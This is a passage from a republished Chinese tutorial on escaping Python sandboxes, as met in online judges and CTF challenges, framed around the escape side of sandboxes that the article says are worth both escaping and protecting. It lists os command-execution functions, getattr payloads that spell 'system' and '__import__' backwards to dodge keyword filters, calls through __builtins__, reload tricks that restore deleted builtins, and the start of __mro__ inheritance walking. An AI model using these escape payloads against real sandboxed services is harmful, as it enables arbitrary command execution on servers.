加入收藏 | 设为首页 | 会员中心 | 我要投稿 衡阳站长网 (https://www.0734zz.cn/)- 数据集成、设备管理、备份、数据加密、智能搜索!
当前位置: 首页 > 运营中心 > 建站资源 > 策划 > 正文

一文看懂Python沙箱逃逸

发布时间:2019-05-22 23:25:01 所属栏目:策划 来源:Macr0phag3
导读:让用户提交 Python 代码并在服务器上执行,是一些 OJ、量化网站重要的服务,很多 CTF 也有类似的题。为了不让恶意用户执行任意的 Python 代码,就需要确保 Python 运行在沙箱中。沙箱经常会禁用一些敏感的函数,例如 os,研究怎么逃逸、防护这类沙箱还是蛮

通过上面内容我们很容易发现,光引入 os 只不过是第一步,如果把 system 这个函数干掉,也没法通过os.system执行系统命令,并且这里的system也不是字符串,也没法直接做编码等等操作。我遇到过一个环境,直接在/usr/lib/python2.7/os.py中删了system函数。。。

不过,要明确的是,os 中能够执行系统命令的函数有很多:

  1. print(os.system('whoami')) 
  2. print(os.popen('whoami').read())  
  3. print(os.popen2('whoami').read()) # 2.x 
  4. print(os.popen3('whoami').read()) # 2.x 
  5. print(os.popen4('whoami').read()) # 2.x 
  6. ... 

应该还有一些,可以在这里找找:

  • 2.x 传送门
  • 3.x 传送门

过滤system的时候说不定还有其他函数给漏了。

其次,可以通过 getattr 拿到对象的方法、属性:

  1. import os 
  2. getattr(os, 'metsys'[::-1])('whoami') 

不让出现 import也没事:

  1. >>> getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami') 
  2. macr0phag3 

一样可以。这个方法同样可以用于逃逸过滤 import 的沙箱。关于 __builtins__,见下文。

与 getattr 相似的还有 __getattr__、__getattribute__,它们自己的区别就是getattr相当于class.attr,都是获取类属性/方法的一种方式,在获取的时候会触发__getattribute__,如果__getattribute__找不到,则触发__getattr__,还找不到则报错。更具体的这里就不解释了,有兴趣的话可以搜搜。

6. builtins、builtin与builtins

先说一下,builtin、builtins,__builtin__与__builtins__的区别:首先我们知道,在 Python 中,有很多函数不需要任何 import 就可以直接使用,例如chr、open。之所以可以这样,是因为 Python 有个叫内建模块(或者叫内建命名空间)的东西,它有一些常用函数,变量和类。顺便说一下,Python 对函数、变量、类等等的查找方式是按 LEGB 规则来找的,其中 B 即代表内建模块,这里也不再赘述了,有兴趣的搜搜就明白了。

在 2.x 版本中,内建模块被命名为 __builtin__,到了 3.x 就成了 builtins。它们都需要 import 才能查看:

2.x:

  1. >>> import __builtin__ 
  2. >>> __builtin__ 
  3. <module '__builtin__' (built-in)> 

3.x:

  1. >>> import builtins 
  2. >>> builtins 
  3. <module 'builtins' (built-in)> 

但是,__builtins__ 两者都有,实际上是__builtin__和builtins 的引用。它不需要导入,我估计是为了统一 2.x 和 3.x。不过__builtins__与__builtin__和builtins是有一点区别的,感兴趣的话建议查一下,这里就不啰嗦了。不管怎么样,__builtins__ 相对实用一点,并且在 __builtins__里有很多好东西:

  1. >>> '__import__' in dir(__builtins__) 
  2. True 
  3. >>> __builtins__.__dict__['__import__']('os').system('whoami') 
  4. macr0phag3 
  5. >>> 'eval' in dir(__builtins__) 
  6. True 
  7. >>> 'execfile' in dir(__builtins__) 
  8. True 

那么既然__builtins__有这么多危险的函数,不如将里面的危险函数破坏了:

  1. __builtins__.__dict__['eval'] = 'not allowed' 

或者直接删了:

  1. del __builtins__.__dict__['eval'] 

但是我们可以利用 reload(__builtins__) 来恢复 __builtins__。不过,我们在使用 reload 的时候也没导入,说明reload也在 __builtins__里,那如果连reload都从__builtins__中删了,就没法恢复__builtins__了,需要另寻他法。还有一种情况是利用 exec command in _global 动态运行语句时的绕过,比如实现一个计算器的时候,在最后有给出例子。

这里注意,2.x 的 reload 是内建的,3.x 需要 import imp,然后再 imp.reload。你看,reload 的参数是 module,所以肯定还能用于重新载入其他模块,这个放在下面说。

7. 通过继承关系逃逸

在 Python 中提到继承就不得不提 mro,mro就是方法解析顺序,因为 Python 支持多重继承,所以就必须有个方式判断某个方法到底是 A 的还是 B 的。2.2 之前是经典类,搜索是深度优先;经典类后来发展为新式类,使用广度优先搜索,再后来新式类的搜索变为 C3 算法;而 3.x 中新式类一统江湖,默认继承 object,当然也是使用的 C3 搜索算法。。。扯远了扯远了,感兴趣的可以搜搜。不管怎么说,总是让人去判断继承关系显然是反人类的,所以 Python 中新式类都有个属性,叫__mro__,是个元组,记录了继承关系:

  1. >>> ''.__class__.__mro__ 
  2. (<class 'str'>, <class 'object'>) 

类的实例在获取 __class__ 属性时会指向该实例对应的类。可以看到,''属于 str类,它继承了 object 类,这个类是所有类的超类。具有相同功能的还有__base__和__bases__。需要注意的是,经典类需要指明继承 object 才会继承它,否则是不会继承的:

  1. >>> class test: 
  2. ...     pass 
  3. ... 
  4. >>> test.__bases__ 
  5. >>> class test(object): 
  6. ...     pass 
  7. ... 
  8. >>> test.__bases__ 
  9. (<type 'object'>,) 

那么知道这个有什么用呢?

(编辑:衡阳站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读